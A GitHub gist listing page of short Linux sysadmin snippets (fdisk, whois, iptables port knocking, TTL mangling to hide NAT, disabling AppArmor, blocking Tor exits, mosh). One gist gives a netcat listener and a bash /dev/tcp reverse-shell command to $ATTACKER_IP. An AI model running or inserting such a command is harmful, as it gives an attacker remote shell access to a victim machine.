Skip to content

Instantly share code, notes, and snippets.

@jkullick
jkullick / fdisk-sector-63.md
Last active December 29, 2016 13:28
Force Sector 63 Boundary in fdisk
fdisk -c=dos -u=cylinders /dev/sdb

Source

@jkullick
jkullick / whois-ip.md
Created September 12, 2016 12:47
Get Whois Info from IP
whois -h whois.radb.net $IP
@jkullick
jkullick / hide-nat-isp-linux-router.md
Last active January 16, 2023 12:18
Hide NAT from ISP with IPTables on Linux NAT Router
iptables -t mangle -A POSTROUTING -o eth0 -j TTL --ttl-set `cat /proc/sys/net/ipv4/ip_default_ttl`

Alternative:

iptables -t mangle -A POSTROUTING -o eth0 -j TTL --ttl-inc 1
@jkullick
jkullick / openport-knock-ssh-necat.md
Created September 8, 2016 12:47
Open Port Knock Guarded SSH Port with Netcat
for PORT in $PORT1 $PORT2 $PORT3; do nc -vz $SSH_HOST $PORT; done; ssh $SSH_USER@SSH_HOST
@jkullick
jkullick / port-knocking-iptabls.md
Last active December 29, 2016 13:29
Port Knocking with IPTables
iptables -A INPUT -p tcp --dport $PORT1 -m recent --set --rsource --name KNOCK1
iptables -A INPUT -p tcp --dport $PORT2 -m recent --rcheck --rsource --seconds 10 --name KNOCK1 -m recent --set --rsource --name KNOCK2
iptables -A INPUT -p tcp --dport $PORT3 -m recent --rcheck --rsource --seconds 10 --name KNOCK2 -m recent --set --rsource --name PASSED
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --rcheck --rsource --seconds 10 --name PASSED -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dports $PORT1,$PORT2,$PORT3 -j ACCEPT

iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
@jkullick
jkullick / apparmor-ubuntu-disable.md
Created September 8, 2016 10:23
Disable AppArmor on Ubuntu Server
/etc/init.d/apparmor stop
update-rc.d -f apparmor remove
apt-get remove -y --purge apparmor apparmor-utils
@jkullick
jkullick / netcat-bash-reverse-shell.md
Last active December 29, 2016 13:29
Netcat Bash Reverse Shell

Attacker:

nc -l -p 22222

Victim:

bash -i >& /dev/tcp/$ATTACKER_IP/22222 0>&1
@jkullick
jkullick / iptables-live-stats.md
Last active December 29, 2016 13:29
IPTables Live-Stats
watch -n 1 -d iptables -nvL

Source

@jkullick
jkullick / block-tor-exit-nodes-iptables.md
Last active April 22, 2025 11:36
Block Tor Exit Nodes with IPTables
  1. Install ipset:
apt-get install ipset
  1. Create new ipset:
ipset create tor iphash
@jkullick
jkullick / mosh-iptables.md
Created September 1, 2016 13:13
Allow Mobile Shell (mosh) in IPTables
iptables -A INPUT -p udp --dport 60000:61000 -j ACCEPT